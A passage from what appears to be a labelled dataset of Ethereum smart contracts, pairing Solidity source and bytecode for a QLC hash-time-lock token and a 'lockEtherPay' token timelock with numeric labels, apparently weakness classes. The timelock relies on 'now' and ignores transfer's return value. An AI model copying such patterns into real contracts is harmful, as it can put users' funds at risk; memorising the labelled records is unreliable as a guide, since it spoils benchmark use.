private _issueInterval; uint256 private _destoryInterval; uint256 private _minIssueAmount; uint256 private _minDestroyAmount; /** * @dev Emitted locker state changed * * Parameters: * - `rHash`: index, the hash of locker * - `state`: locker state, 0:issueLock, 1:issueUnlock, 2:issueFetch, 3:destoryLock, 4:destoryUnlock, 5:destoryFetch */ event LockedState(bytes32 indexed rHash, uint256 state); /** * @dev Initializes the QLCToken * * Parameters: * - `name`: name of the token * - `symbol`: the token symbol */ function initialize(string memory name, string memory symbol) public initializer { __ERC20_init(name, symbol); __Ownable_init(); _setupDecimals(8); _mint(msg.sender, 0); _issueInterval = 6496; _destoryInterval = 12992; _minIssueAmount = 10**13; _minDestroyAmount = 10**12; } /** * @dev Issue `amount` token and locked by `rHash` * Only callable by the Owner. * Emits a {LockedState} event. * * Parameters: * - `rHash` is the hash of locker, cannot be zero and duplicated * - `amount` should not less than `_minAmount` */ function issueLock(bytes32 rHash, uint256 amount) public onlyOwner { require(rHash != 0x0, "zero rHash"); require(amount >= _minIssueAmount, "too little amount"); require(_lockedHeight[rHash] == 0, "duplicated hash"); _mint(address(this), amount); _lockedAmount[rHash] = amount; _lockedHeight[rHash] = block.number; emit LockedState(rHash, 0); } /** * @dev caller provide locker origin text `rOrigin` to unlock token and release to his account * `issueUnlock` must be executed after `issueLock` and the interval must less then `_issueInterval` * * Emits a {LockedState} event. * * Parameters: * - `rHash` is the hash of locker * - `rOrigin` is the origin text of locker */ function issueUnlock(bytes32 rHash, bytes32 rOrigin) public { uint256 lockedHeight = _lockedHeight[rHash]; require(lockedHeight > 0, "hash not locked"); require(_unlockedHeight[rHash] == 0, "hash has unlocked"); require(block.number.sub(lockedHeight) <= _issueInterval, "already timeout"); require(_isHashValid(rHash, rOrigin), "hash mismatch"); _lockedOrigin[rHash] = rOrigin; _lockedUser[rHash] = msg.sender; _unlockedHeight[rHash] = block.number; require(this.transfer(msg.sender, _lockedAmount[rHash]), "transfer fail"); emit LockedState(rHash, 1); } /** * @dev `issueFetch` must be executed after `issueLock` and the interval must more then `_issueInterval` * destory the token locked by `rHash` * Only callable by the Owner. * * Emits a {LockedState} event. * * Parameters: * - `rHash` is the hash of locker */ function issueFetch(bytes32 rHash) public onlyOwner { uint256 lockedHeight = _lockedHeight[rHash]; require(lockedHeight > 0, "hash not locked"); require(_unlockedHeight[rHash] == 0, "hash has unlocked"); require(block.number.sub(lockedHeight) > _issueInterval, "not timeout"); _burn(address(this), _lockedAmount[rHash]); _unlockedHeight[rHash] = block.number; emit LockedState(rHash, 2); } /** * @dev lock caller's `amount` token by `rHash` * * Emits a {LockedState} event. * * Parameters: * - `rHash` is the hash of locker, cannot be zero and duplicated * - `amount` should more than zero. * - `executor` should be owner's address */ function destoryLock( bytes32 rHash, uint256 amount, address executor ) public { require(rHash != 0x0, "zero rHash"); require(_lockedHeight[rHash] == 0, "duplicated hash"); require(amount >= _minDestroyAmount, "too little amount"); require(executor == owner(), "wrong executor"); require(transfer(address(this), amount), "transfer fail"); _lockedAmount[rHash] = amount; _lockedUser[rHash] = msg.sender; _lockedHeight[rHash] = block.number; emit LockedState(rHash, 3); } /** * @dev Destory `rHash` locked token by origin text `rOrigin` * `destoryUnlock` must be executed after `destoryLock` and the interval must less then `_destoryInterval` * Only callable by the Owner. * * Emits a {LockedState} event. * * Parameters: * - `rHash` is the hash of locker * - `rOrigin` is the origin text of locker */ function destoryUnlock(bytes32 rHash, bytes32 rOrigin) public onlyOwner { uint256 lockedHeight = _lockedHeight[rHash]; require(lockedHeight > 0, "hash not locked"); require(_unlockedHeight[rHash] == 0, "hash has unlocked"); require(block.number.sub(lockedHeight) <= _destoryInterval, "already timeout"); require(_isHashValid(rHash, rOrigin), "hash mismatch"); _burn(address(this), _lockedAmount[rHash]); _lockedOrigin[rHash] = rOrigin; _unlockedHeight[rHash] = block.number; emit LockedState(rHash, 4); } /** * @dev `destoryFetch` must be executed after `destoryLock` and the interval must more then `_destoryInterval` * unlock token and return back to caller * * Emits a {LockedState} event. * * Parameters: * - `rHash` is the hash of locker */ function destoryFetch(bytes32 rHash) public { uint256 lockedHeight = _lockedHeight[rHash]; require(lockedHeight > 0, "hash not locked"); require(_unlockedHeight[rHash] == 0, "hash has unlocked"); require(msg.sender == _lockedUser[rHash], "wrong caller"); require(block.number.sub(lockedHeight) > _destoryInterval, "not timeout"); _unlockedHeight[rHash] = block.number; require(this.transfer(msg.sender, _lockedAmount[rHash]), "transfer fail"); emit LockedState(rHash, 5); } function _isHashValid(bytes32 rHash, bytes32 rOrigin) private pure returns (bool) { bytes memory rBytes = abi.encodePacked(rOrigin); bytes32 h = sha256(rBytes); return (h == rHash ? true : false); } /** * @dev Return detail info of hash-timer locker * * Parameters: * - `rHash` is the hash of locker * * Returns: * - the origin text of locker * - locked amount * - account with locked token * - locked block height * - unlocked block height */ function hashTimer(bytes32 rHash) public view returns ( bytes32, uint256, address, uint256, uint256 ) { return ( _lockedOrigin[rHash], _lockedAmount[rHash], _lockedUser[rHash], _lockedHeight[rHash], _unlockedHeight[rHash] ); } /** * @dev Delete hash-timer locker * * Parameters: * - `rHash` is the hash of locker */ function deleteHashTimer(bytes32 rHash) public onlyOwner { require(_unlockedHeight[rHash] > 0, "not completed"); delete _lockedOrigin[rHash]; delete _lockedAmount[rHash]; delete _lockedUser[rHash]; delete _lockedHeight[rHash]; delete _unlockedHeight[rHash]; emit LockedState(rHash, 6); } }
0x608060405234801561001057600080fd5b506004361061014d5760003560e01c80635da1d83c116100c3578063a457c2d71161007c578063a457c2d71461051f578063a9059cbb1461054b578063d067c42514610577578063dd049cd0146105a9578063dd62ed3e146105cc578063f2fde38b146105fa5761014d565b80635da1d83c146104585780636aacd5061461047557806370a08231146104c5578063715018a6146104eb5780638da5cb5b146104f357806395d89b41146105175761014d565b806325984de31161011557806325984de31461027e578063313ce567146102a157806339509351146102bf5780633990ebff146102eb5780634cd88b7614610308578063501f18f8146104355761014d565b806306fdde0314610152578063095ea7b3146101cf57806318160ddd1461020f57806319a4440a1461022957806323b872dd14610248575b600080fd5b61015a610620565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561019457818101518382015260200161017c565b50505050905090810190601f1680156101c15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101fb600480360360408110156101e557600080fd5b506001600160a01b0381351690602001356106b7565b604080519115158252519081900360200190f35b6102176106d4565b60408051918252519081900360200190f35b6102466004803603602081101561023f57600080fd5b50356106da565b005b6101fb6004803603606081101561025e57600080fd5b506001600160a01b03813581169160208101359091169060400135610881565b6102466004803603604081101561029457600080fd5b508035906020013561090e565b6102a9610b10565b6040805160ff9092168252519081900360200190f35b6101fb600480360360408110156102d557600080fd5b506001600160a01b038135169060200135610b19565b6102466004803603602081101561030157600080fd5b5035610b6d565b6102466004803603604081101561031e57600080fd5b81019060208101813564010000000081111561033957600080fd5b82018360208201111561034b57600080fd5b8035906020019184600183028401116401000000008311171561036d57600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092959493602081019350359150506401000000008111156103c057600080fd5b8201836020820111156103d257600080fd5b803590602001918460018302840111640100000000831117156103f457600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610db8945050505050565b6102466004803603604081101561044b57600080fd5b5080359060200135610ea2565b6102466004803603602081101561046e57600080fd5b5035611107565b6104926004803603602081101561048b57600080fd5b503561121b565b6040805195865260208601949094526001600160a01b039092168484015260608401526080830152519081900360a00190f35b610217600480360360208110156104db57600080fd5b50356001600160a01b0316611260565b61024661127b565b6104fb61131d565b604080516001600160a01b039092168252519081900360200190f35b61015a61132c565b6101fb6004803603604081101561053557600080fd5b506001600160a01b03813516906020013561138d565b6101fb6004803603604081101561056157600080fd5b506001600160a01b0381351690602001356113fb565b6102466004803603606081101561058d57600080fd5b50803590602081013590604001356001600160a01b031661140f565b610246600480360360408110156105bf57600080fd5b50803590602001356115f1565b610217600480360360408110156105e257600080fd5b506001600160a01b0381358116916020013516611771565b6102466004803603602081101561061057600080fd5b50356001600160a01b031661179c565b60688054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156106ac5780601f10610681576101008083540402835291602001916106ac565b820191906000526020600020905b81548152906001019060200180831161068f57829003601f168201915b505050505090505b90565b60006106cb6106c4611895565b8484611899565b50600192915050565b60675490565b6106e2611895565b6097546001600160a01b03908116911614610732576040805162461bcd60e51b81526020600482018190526024820152600080516020612482833981519152604482015290519081900360640190fd5b600081815260cc602052604090205480610785576040805162461bcd60e51b815260206004820152600f60248201526e1a185cda081b9bdd081b1bd8dad959608a1b604482015290519081900360640190fd5b600082815260cd6020526040902054156107da576040805162461bcd60e51b81526020600482015260116024820152701a185cda081a185cc81d5b9b1bd8dad959607a1b604482015290519081900360640190fd5b60ce546107ed438363ffffffff61198516565b1161082d576040805162461bcd60e51b815260206004820152600b60248201526a1b9bdd081d1a5b595bdd5d60aa1b604482015290519081900360640190fd5b600082815260ca60205260409020546108479030906119ce565b600082815260cd60209081526040918290204390558151600281529151849260008051602061238783398151915292908290030190a25050565b600061088e848484611ad6565b6109048461089a611895565b6108ff8560405180606001604052806028815260200161245a602891396001600160a01b038a166000908152606660205260408120906108d8611895565b6001600160a01b03168152602081019190915260400160002054919063ffffffff611c3f16565b611899565b5060019392505050565b610916611895565b6097546001600160a01b03908116911614610966576040805162461bcd60e51b81526020600482018190526024820152600080516020612482833981519152604482015290519081900360640190fd5b600082815260cc6020526040902054806109b9576040805162461bcd60e51b815260206004820152600f60248201526e1a185cda081b9bdd081b1bd8dad959608a1b604482015290519081900360640190fd5b600083815260cd602052604090205415610a0e576040805162461bcd60e51b81526020600482015260116024820152701a185cda081a185cc81d5b9b1bd8dad959607a1b604482015290519081900360640190fd5b60cf54610a21438363ffffffff61198516565b1115610a66576040805162461bcd60e51b815260206004820152600f60248201526e185b1c9958591e481d1a5b595bdd5d608a1b604482015290519081900360640190fd5b610a708383611cd6565b610ab1576040805162461bcd60e51b815260206004820152600d60248201526c0d0c2e6d040dad2e6dac2e8c6d609b1b604482015290519081900360640190fd5b600083815260ca6020526040902054610acb9030906119ce565b600083815260c96020908152604080832085905560cd8252918290204390558151600481529151859260008051602061238783398151915292908290030190a2505050565b606a5460ff1690565b60006106cb610b26611895565b846108ff8560666000610b37611895565b6001600160a01b03908116825260208083019390935260409182016000908120918c16815292529020549063ffffffff611da216565b600081815260cc602052604090205480610bc0576040805162461bcd60e51b815260206004820152600f60248201526e1a185cda081b9bdd081b1bd8dad959608a1b604482015290519081900360640190fd5b600082815260cd602052604090205415610c15576040805162461bcd60e51b81526020600482015260116024820152701a185cda081a185cc81d5b9b1bd8dad959607a1b604482015290519081900360640190fd5b600082815260cb60205260409020546001600160a01b03163314610c6f576040805162461bcd60e51b815260206004820152600c60248201526b3bb937b7339031b0b63632b960a11b604482015290519081900360640190fd5b60cf54610c82438363ffffffff61198516565b11610cc2576040805162461bcd60e51b815260206004820152600b60248201526a1b9bdd081d1a5b595bdd5d60aa1b604482015290519081900360640190fd5b600082815260cd6020908152604080832043905560ca825280832054815163a9059cbb60e01b815233600482015260248101919091529051309363a9059cbb93604480850194919392918390030190829087803b158015610d2257600080fd5b505af1158015610d36573d6000803e3d6000fd5b505050506040513d6020811015610d4c57600080fd5b5051610d8f576040805162461bcd60e51b815260206004820152600d60248201526c1d1c985b9cd9995c8819985a5b609a1b604482015290519081900360640190fd5b604080516005815290518391600080516020612387833981519152919081900360200190a25050565b600054610100900460ff1680610dd15750610dd1611dfc565b80610ddf575060005460ff16155b610e1a5760405162461bcd60e51b815260040180806020018281038252602e8152602001806124a2602e913960400191505060405180910390fd5b600054610100900460ff16158015610e45576000805460ff1961ff0019909116610100171660011790555b610e4f8383611e02565b610e57611eb7565b610e616008611f69565b610e6c336000611f7f565b61196060ce556132c060cf556509184e72a00060d05564e8d4a5100060d1558015610e9d576000805461ff00191690555b505050565b600082815260cc602052604090205480610ef5576040805162461bcd60e51b815260206004820152600f60248201526e1a185cda081b9bdd081b1bd8dad959608a1b604482015290519081900360640190fd5b600083815260cd602052604090205415610f4a576040805162461bcd60e51b81526020600482015260116024820152701a185cda081a185cc81d5b9b1bd8dad959607a1b604482015290519081900360640190fd5b60ce54610f5d438363ffffffff61198516565b1115610fa2576040805162461bcd60e51b815260206004820152600f60248201526e185b1c9958591e481d1a5b595bdd5d608a1b604482015290519081900360640190fd5b610fac8383611cd6565b610fed576040805162461bcd60e51b815260206004820152600d60248201526c0d0c2e6d040dad2e6dac2e8c6d609b1b604482015290519081900360640190fd5b600083815260c96020908152604080832085905560cb825280832080546001600160a01b0319163390811790915560cd835281842043905560ca835281842054825163a9059cbb60e01b8152600481019290925260248201529051309363a9059cbb93604480850194919392918390030190829087803b15801561107057600080fd5b505af1158015611084573d6000803e3d6000fd5b505050506040513d602081101561109a57600080fd5b50516110dd576040805162461bcd60e51b815260206004820152600d60248201526c1d1c985b9cd9995c8819985a5b609a1b604482015290519081900360640190fd5b604080516001815290518491600080516020612387833981519152919081900360200190a2505050565b61110f611895565b6097546001600160a01b0390811691161461115f576040805162461bcd60e51b81526020600482018190526024820152600080516020612482833981519152604482015290519081900360640190fd5b600081815260cd60205260409020546111af576040805162461bcd60e51b815260206004820152600d60248201526c1b9bdd0818dbdb5c1b195d1959609a1b604482015290519081900360640190fd5b600081815260c96020908152604080832083905560ca825280832083905560cb825280832080546001600160a01b031916905560cc825280832083905560cd8252808320929092558151600681529151839260008051602061238783398151915292908290030190a250565b600090815260c9602090815260408083205460ca83528184205460cb84528285205460cc85528386205460cd909552929094205490946001600160a01b039092169291565b6001600160a01b031660009081526065602052604090205490565b611283611895565b6097546001600160a01b039081169116146112d3576040805162461bcd60e51b81526020600482018190526024820152600080516020612482833981519152604482015290519081900360640190fd5b6097546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3609780546001600160a01b0319169055565b6097546001600160a01b031690565b60698054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156106ac5780601f10610681576101008083540402835291602001916106ac565b60006106cb61139a611895565b846108ff8560405180606001604052806025815260200161253a60259139606660006113c4611895565b6001600160a01b03908116825260208083019390935260409182016000908120918d1681529252902054919063ffffffff611c3f16565b60006106cb611408611895565b8484611ad6565b8261144e576040805162461bcd60e51b815260206004820152600a6024820152690f4cae4de40e490c2e6d60b31b604482015290519081900360640190fd5b600083815260cc6020526040902054156114a1576040805162461bcd60e51b815260206004820152600f60248201526e0c8eae0d8d2c6c2e8cac840d0c2e6d608b1b604482015290519081900360640190fd5b60d1548210156114ec576040805162461bcd60e51b81526020600482015260116024820152701d1bdbc81b1a5d1d1b1948185b5bdd5b9d607a1b604482015290519081900360640190fd5b6114f461131d565b6001600160a01b0316816001600160a01b03161461154a576040805162461bcd60e51b815260206004820152600e60248201526d3bb937b7339032bc32b1baba37b960911b604482015290519081900360640190fd5b61155430836113fb565b611595576040805162461bcd60e51b815260206004820152600d60248201526c1d1c985b9cd9995c8819985a5b609a1b604482015290519081900360640190fd5b600083815260ca6020908152604080832085905560cb825280832080546001600160a01b0319163317905560cc8252918290204390558151600381529151859260008051602061238783398151915292908290030190a2505050565b6115f9611895565b6097546001600160a01b03908116911614611649576040805162461bcd60e51b81526020600482018190526024820152600080516020612482833981519152604482015290519081900360640190fd5b81611688576040805162461bcd60e51b815260206004820152600a6024820152690f4cae4de40e490c2e6d60b31b604482015290519081900360640190fd5b60d0548110156116d3576040805162461bcd60e51b81526020600482015260116024820152701d1bdbc81b1a5d1d1b1948185b5bdd5b9d607a1b604482015290519081900360640190fd5b600082815260cc602052604090205415611726576040805162461bcd60e51b815260206004820152600f60248201526e0c8eae0d8d2c6c2e8cac840d0c2e6d608b1b604482015290519081900360640190fd5b6117303082611f7f565b600082815260ca6020908152604080832084905560cc8252808320439055805192835251849260008051602061238783398151915292908290030190a25050565b6001600160a01b03918216600090815260666020908152604080832093909416825291909152205490565b6117a4611895565b6097546001600160a01b039081169116146117f4576040805162461bcd60e51b81526020600482018190526024820152600080516020612482833981519152604482015290519081900360640190fd5b6001600160a01b0381166118395760405162461bcd60e51b81526004018080602001828103825260268152602001806123ec6026913960400191505060405180910390fd5b6097546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3609780546001600160a01b0319166001600160a01b0392909216919091179055565b3390565b6001600160a01b0383166118de5760405162461bcd60e51b81526004018080602001828103825260248152602001806125166024913960400191505060405180910390fd5b6001600160a01b0382166119235760405162461bcd60e51b81526004018080602001828103825260228152602001806124126022913960400191505060405180910390fd5b6001600160a01b03808416600081815260666020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b60006119c783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c3f565b9392505050565b6001600160a01b038216611a135760405162461bcd60e51b81526004018080602001828103825260218152602001806124d06021913960400191505060405180910390fd5b611a1f82600083610e9d565b611a62816040518060600160405280602281526020016123ca602291396001600160a01b038516600090815260656020526040902054919063ffffffff611c3f16565b6001600160a01b038316600090815260656020526040902055606754611a8e908263ffffffff61198516565b6067556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b6001600160a01b038316611b1b5760405162461bcd60e51b81526004018080602001828103825260258152602001806124f16025913960400191505060405180910390fd5b6001600160a01b038216611b605760405162461bcd60e51b81526004018080602001828103825260238152602001806123a76023913960400191505060405180910390fd5b611b6b838383610e9d565b611bae81604051806060016040528060268152602001612434602691396001600160a01b038616600090815260656020526040902054919063ffffffff611c3f16565b6001600160a01b038085166000908152606560205260408082209390935590841681522054611be3908263ffffffff611da216565b6001600160a01b0380841660008181526065602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b60008184841115611cce5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611c93578181015183820152602001611c7b565b50505050905090810190601f168015611cc05780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600060608260405160200180828152602001915050604051602081830303815290604052905060006002826040518082805190602001908083835b60208310611d305780518252601f199092019160209182019101611d11565b51815160209384036101000a60001901801990921691161790526040519190930194509192505080830381855afa158015611d6f573d6000803e3d6000fd5b5050506040513d6020811015611d8457600080fd5b50519050848114611d96576000611d99565b60015b95945050505050565b6000828201838110156119c7576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b303b1590565b600054610100900460ff1680611e1b5750611e1b611dfc565b80611e29575060005460ff16155b611e645760405162461bcd60e51b815260040180806020018281038252602e8152602001806124a2602e913960400191505060405180910390fd5b600054610100900460ff16158015611e8f576000805460ff1961ff0019909116610100171660011790555b611e9761207d565b611ea1838361211d565b8015610e9d576000805461ff0019169055505050565b600054610100900460ff1680611ed05750611ed0611dfc565b80611ede575060005460ff16155b611f195760405162461bcd60e51b815260040180806020018281038252602e8152602001806124a2602e913960400191505060405180910390fd5b600054610100900460ff16158015611f44576000805460ff1961ff0019909116610100171660011790555b611f4c61207d565b611f546121f5565b8015611f66576000805461ff00191690555b50565b606a805460ff191660ff92909216919091179055565b6001600160a01b038216611fda576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b611fe660008383610e9d565b606754611ff9908263ffffffff611da216565b6067556001600160a01b038216600090815260656020526040902054612025908263ffffffff611da216565b6001600160a01b03831660008181526065602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b600054610100900460ff16806120965750612096611dfc565b806120a4575060005460ff16155b6120df5760405162461bcd60e51b815260040180806020018281038252602e8152602001806124a2602e913960400191505060405180910390fd5b600054610100900460ff16158015611f54576000805460ff1961ff0019909116610100171660011790558015611f66576000805461ff001916905550565b600054610100900460ff16806121365750612136611dfc565b80612144575060005460ff16155b61217f5760405162461bcd60e51b815260040180806020018281038252602e8152602001806124a2602e913960400191505060405180910390fd5b600054610100900460ff161580156121aa576000805460ff1961ff0019909116610100171660011790555b82516121bd9060689060208601906122ee565b5081516121d19060699060208501906122ee565b50606a805460ff191660121790558015610e9d576000805461ff0019169055505050565b600054610100900460ff168061220e575061220e611dfc565b8061221c575060005460ff16155b6122575760405162461bcd60e51b815260040180806020018281038252602e8152602001806124a2602e913960400191505060405180910390fd5b600054610100900460ff16158015612282576000805460ff1961ff0019909116610100171660011790555b600061228c611895565b609780546001600160a01b0319166001600160a01b038316908117909155604051919250906000907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3508015611f66576000805461ff001916905550565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061232f57805160ff191683800117855561235c565b8280016001018555821561235c579182015b8281111561235c578251825591602001919060010190612341565b5061236892915061236c565b5090565b6106b491905b80821115612368576000815560010161237256fe9602218484dbca102b1b8ecd40a2b8d3a19f098859a193580428927b239737db45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572436f6e747261637420696e7374616e63652068617320616c7265616479206265656e20696e697469616c697a656445524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212202b14637626d3722e4f61b80b6955ba682b0bb247de84db13eb45c44e9cd41f9a64736f6c63430006020033
[ 9 ]
0xf2b0c82b005778856f9717f723e9b0ee592d454a
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public{ owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 30326400; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0x9F603eD037d33f6ba72Ea32acF38F9D1BAdDF0e8; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0x6080604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806316243356146100bf57806338af3eed146100ea5780636e15266a14610141578063834ee4171461016c57806386d1a69f146101975780638da5cb5b146101ae5780639b7faaf0146102055780639e1a4d1914610234578063a4e2d6341461025f578063f2fde38b1461028e578063f83d08ba146102d1578063fa2a899714610300575b600080fd5b3480156100cb57600080fd5b506100d461032f565b6040518082815260200191505060405180910390f35b3480156100f657600080fd5b506100ff610335565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561014d57600080fd5b5061015661035b565b6040518082815260200191505060405180910390f35b34801561017857600080fd5b50610181610361565b6040518082815260200191505060405180910390f35b3480156101a357600080fd5b506101ac610367565b005b3480156101ba57600080fd5b506101c36105e6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561021157600080fd5b5061021a61060b565b604051808215151515815260200191505060405180910390f35b34801561024057600080fd5b5061024961061c565b6040518082815260200191505060405180910390f35b34801561026b57600080fd5b5061027461071b565b604051808215151515815260200191505060405180910390f35b34801561029a57600080fd5b506102cf600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061072e565b005b3480156102dd57600080fd5b506102e6610883565b604051808215151515815260200191505060405180910390f35b34801561030c57600080fd5b50610315610954565b604051808215151515815260200191505060405180910390f35b60045481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60055481565b60035481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156103c457600080fd5b600260149054906101000a900460ff1615156103df57600080fd5b600260159054906101000a900460ff161515156103fb57600080fd5b61040361060b565b151561040e57600080fd5b61041661061c565b9050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156104ff57600080fd5b505af1158015610513573d6000803e3d6000fd5b505050506040513d602081101561052957600080fd5b8101908080519060200190929190505050507f9cf9e3ab58b33f06d81842ea0ad850b6640c6430d6396973312e1715792e7a91600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a16001600260156101000a81548160ff02191690831515021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080429050600454811191505090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156106db57600080fd5b505af11580156106ef573d6000803e3d6000fd5b505050506040513d602081101561070557600080fd5b8101908080519060200190929190505050905090565b600260149054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561078957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156107c557600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108e057600080fd5b600260149054906101000a900460ff161515156108fc57600080fd5b600061090661061c565b11151561091257600080fd5b4260038190555061093060055460035461096790919063ffffffff16565b6004819055506001600260146101000a81548160ff02191690831515021790555090565b600260159054906101000a900460ff1681565b600080828401905083811015151561097b57fe5b80915050929150505600a165627a7a7230582056c75e7c30edd7a965efe6ca80d8bddd03598ace1b2fc91111d94f03bf70dfa90029
[ 16, 7 ]
0xf2B0E98f6469a59609200049c2E47a859798BF98
pragma solidity ^0.4.18; contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } 